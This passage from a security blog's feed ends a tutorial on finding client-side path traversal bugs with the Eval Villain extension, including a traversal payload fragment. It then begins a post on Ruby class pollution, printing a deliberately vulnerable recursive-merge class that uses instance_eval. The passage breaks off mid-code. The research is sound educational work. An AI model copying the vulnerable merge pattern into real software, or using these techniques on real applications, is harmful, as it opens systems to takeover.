&lt;p&gt;It’s that easy to find a CSPT primitive. Had the source been in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.name&lt;/code&gt; or a
URL parameter, Eval Villain would likely have found it right away.&lt;/p&gt;

&lt;p&gt;Since the URL path was encoded, Eval Villain gives us an encoder function. You
can paste that into your console and use it to try new payloads quickly. The
function will automatically apply URL encoding.&lt;/p&gt;

&lt;p&gt;With a CSPT primitive, the next step toward exploitation is learning how the
response of this request is used. For that, we want to ingest the response as a
new source for Eval Villain.&lt;/p&gt;

&lt;h2 id=&quot;step-3-enable-evsourcer&quot;&gt;Step 3 Enable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSourcer&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;First you need to enable the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSourcer&lt;/code&gt; global in Eval Villain. Go to the
configuration page from the pop-up menu and scroll to the globals table. Enable
the row that says “evSourcer”. Don’t forget to click save.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_5.png&quot; alt=&quot;Enabling evSourcer in Configuration page&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Now you can refresh the page and just run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSourcer.toString()&lt;/code&gt; in the console
to verify the configuration change took.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_6.png&quot; alt=&quot;evSourcer.toString()&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;You can run a quick test to try out the feature. Anything that goes into the
second parameter of this function will be put into the Eval Villain source
bank. Before using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSinker&lt;/code&gt; the string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foobar&lt;/code&gt; does not generate a warning
from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt; sink, afterward it does.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_7.png&quot; alt=&quot;evSourcer example&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;step-4-getting-the-response-of-the-cspt-request-into-evsourcer&quot;&gt;Step 4: Getting the response of the CSPT request into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSourcer&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;So, if we put the response of the CSPT request into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSourcer&lt;/code&gt;, Eval Villain
can tell us if it hits &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.innerHTML&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt; or any other sink we have
hooked.&lt;/p&gt;

&lt;p&gt;To find the response to the CSPT request, we just look at the stack trace Eval
Villain gave us.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_8.png&quot; alt=&quot;Stack trace from CSPT sink&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Here we have highlighted what we think of as the “magic zone”. When you see
function names go from minified garbage, to big readable strings, that is where
you typically want to start. That often means a transition from library code to
developer written code, either forward or back. One of those two functions are
probably what we want. Based on context, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetchNoteById&lt;/code&gt; is probably returning the
info to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ko&lt;/code&gt;. So go to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ko&lt;/code&gt; function in the debugger by clicking the link
next to it. Once you get there, beautify the code by clicking the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{}&lt;/code&gt; icon in
the lower left of the code pane.&lt;/p&gt;

&lt;p&gt;You will see some code like this:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;useEffect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;ot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fetchNoteById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &amp;lt;-- fetchNoteById call here&lt;/span&gt;
              &lt;span class=&quot;nx&quot;&gt;ot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;seenNote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;// &amp;lt;-- so `e` is probably our JSON response&lt;/span&gt;
              &lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;})).&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;c1&quot;&gt;//...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetchNoteById&lt;/code&gt; apparently returns a promise. This makes sense,
so we would normally set a breakpoint in order to inspect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e&lt;/code&gt; and compare it with
the response from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt;. Once you validate it, it’s time to instrument.&lt;/p&gt;

&lt;p&gt;Right-click on the line number that contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ot.seenNote&lt;/code&gt; and click “Add
Conditional breakpoint”. Add in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSinker&lt;/code&gt; call, using a name you can
recognize as injecting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e&lt;/code&gt; variable. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSinker&lt;/code&gt; function always returns
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;false&lt;/code&gt; so we will never actually hit this breakpoint.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_9.png&quot; alt=&quot;Adding response with evSourcer using a conditional breakpoint&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Notice we have disabled source maps. Source maps can optimize out variables and
make debugging harder. Also, Firefox sometimes takes a minute to work through
beautifying code and putting breakpoints at the right spot, so just be patient.&lt;/p&gt;

&lt;h2 id=&quot;step-5-refresh-the-page-check-the-secondary-sink&quot;&gt;Step 5: Refresh the page, check the secondary sink&lt;/h2&gt;

&lt;p&gt;Now we just refresh the page. Since we used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; as the last parameter to
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSinker&lt;/code&gt;, we will use console debugging to tell us what got injected. Enable
“Debug” in the console. We can also enable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XHR&lt;/code&gt; in the console to see requests
and responses there. The requests we are interested in will directly follow
Eval Villain output to the console, so they are easy to find. This is what we see.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_10.png&quot; alt=&quot;Eval Villain found potential CSPT sink&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;For the sake of room, we closed the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt; group. It does show the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;asdf%2f..&lt;/code&gt; payload hitting fetch. The “XHR” entry we have open there does not
show the directory traversal because it was normalized out. Eval Villain makes
it easy to find though. The response from the “XHR” can be seen injected in the
console debug below it. Then of course Eval Villain is able to spot it hitting
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt; sink.&lt;/p&gt;

&lt;h2 id=&quot;step-6-extra-little-things&quot;&gt;Step 6: Extra little things&lt;/h2&gt;

&lt;p&gt;You may notice that there is no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arg[2/2]&lt;/code&gt; output in the last picture. That
argument is a JavaScript object. Eval Villain by default is configured to only
look at strings. Open the pop-up menu, click types and enable objects. Then when
you refresh the page you can see from the Eval Villain output what options are
being passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;step-7-exploit&quot;&gt;Step 7: Exploit&lt;/h2&gt;

&lt;p&gt;The playground makes finding gadgets easy. Just go to the “gadgets” drop down
in the page. The real world does not have that, so Burp Suite’s Bambda search
seems to be the best bet. See Maxence’s &lt;a href=&quot;https://blog.doyensec.com/2024/07/02/cspt2csrf.html&quot;&gt;CSPT research&lt;/a&gt; for more on that.&lt;/p&gt;

&lt;h2 id=&quot;bonus-feature-eval-villain-in-chrome-electron-and-maybe-web-views&quot;&gt;BONUS Feature! Eval Villain in Chrome, Electron and maybe Web Views?&lt;/h2&gt;

&lt;p&gt;Eval Villain is really just a JavaScript function, with config, that Firefox
copy/pastes into each page before it loads. Once injected, it just uses the
console to log output. So in theory, you could copy paste this same code
manually into anywhere JavaScript is accepted.&lt;/p&gt;

&lt;p&gt;Eval Villain 1.11 lets you do just that. Go to the configuration page and
scroll to the very bottom. You will see a “Copy Injection” button. If you click
it, the entire Eval Villain injection, along with the current configuration,
will be put into your clipboard.&lt;/p&gt;

&lt;p&gt;Using this we have gotten Eval Villain into an instrumented Electron App. The
following screen shot shows Eval Villain running from a conditional breakpoint
in Burp’s built-in Chrome browser.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_11.png&quot; alt=&quot;Eval Villain found potential CSPT sink&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Or you can use the HTTP Mock extension in Burp to paste Eval Villain into a web
response. We have not tried it yet, but it will be cool to inject it into a Web View on
Android using Frida.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;Instrumenting the target code does not really take that long. This blog post explained step by step on how to leverage Eval Villain in order to find and exploit CSPT vulnerabilities. Even for learning new tricks using a playground, Eval Villain helps us debug little mistakes.&lt;/p&gt;

&lt;p&gt;Make sure to use the right tool for the right job. For example, Eval Villain can’t decode everything (check out the fragment challenge). Maxence developed a great &lt;a href=&quot;https://github.com/doyensec/CSPTBurpExtension&quot;&gt;Burp Extension for CSPT&lt;/a&gt;, but it lacks insight into the DOM. Some other tools are
&lt;a href=&quot;https://github.com/vitorfhc/gecko&quot;&gt;Geko&lt;/a&gt;,
&lt;a href=&quot;https://chromewebstore.google.com/detail/domlogger++/lkpfjhmpbmpflldmdpdoabimdbaclolp?hl=en&quot;&gt;DOMLogger++&lt;/a&gt;
and &lt;a href=&quot;https://portswigger.net/burp/documentation/desktop/tools/dom-invader&quot;&gt;DOM Invader&lt;/a&gt; (enable xhr.open and fetch in sinks). Mix and match what works best for you.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges</title>
   <link href="https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html"/>
   <updated>2024-10-02T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2024/10/02/class-pollution-ruby</id>
   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In this post, we are going to explore a rarely discussed class of vulnerabilities in Ruby, known as &lt;strong&gt;class pollution&lt;/strong&gt;. This concept is inspired by the idea of prototype pollution in JavaScript, where recursive merges are exploited to poison the prototype of objects, leading to unexpected behaviors. This idea was initially discussed in a &lt;a href=&quot;https://blog.abdulrah33m.com/prototype-pollution-in-python/&quot;&gt;blog post&lt;/a&gt; about prototype pollution in Python, in which the researcher used recursive merging to poison class variables and eventually global variables via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__globals__&lt;/code&gt; attribute.&lt;/p&gt;

&lt;p&gt;In Ruby, we can categorize class pollution into three main cases:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Merge on Hashes&lt;/strong&gt;: In this scenario, class pollution isn’t possible because the merge operation is confined to the hash itself.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Merge on Attributes (Non-Recursive)&lt;/strong&gt;: Here, we can poison the instance variables of an object, potentially replacing methods by injecting return values. This pollution is limited to the object itself and does not affect the class.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;instance_variable_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;@&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;singleton_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;attr_accessor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Merge on Attributes (Recursive)&lt;/strong&gt;: In this case, the recursive nature of the merge allows us to escape the object context and poison attributes or methods of parent classes or even unrelated classes, leading to a broader impact on the application.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;merge-on-attributes&quot;&gt;Merge on Attributes&lt;/h2&gt;

&lt;p&gt;Let’s start by examining a code example where we exploit a recursive merge to modify object methods and alter the application’s behavior. This type of pollution is limited to the object itself.&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'json'&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;# Base class for both Admin and Regular users&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Person&lt;/span&gt;

  &lt;span class=&quot;nb&quot;&gt;attr_accessor&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:details&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;initialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:)&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@age&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@details&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Method to merge additional data into the object&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;merge_with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;additional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;recursive_merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;additional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Authorize based on the `to_s` method result&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;authorize&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;to_s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Admin&quot;&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Access granted: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;vi&quot;&gt;@name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; is an admin.&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Access denied: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;vi&quot;&gt;@name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; is not an admin.&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Health check that executes all protected methods using `instance_eval`&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;health_check&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;protected_methods&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;instance_eval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;kp&quot;&gt;private&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;recursive_merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;additional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;additional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;is_a?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;respond_to?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;next_obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;public_send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;recursive_merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;next_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;new_object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;instance_variable_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;@&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;singleton_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;attr_accessor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;instance_variable_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;@&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;singleton_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;attr_accessor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;
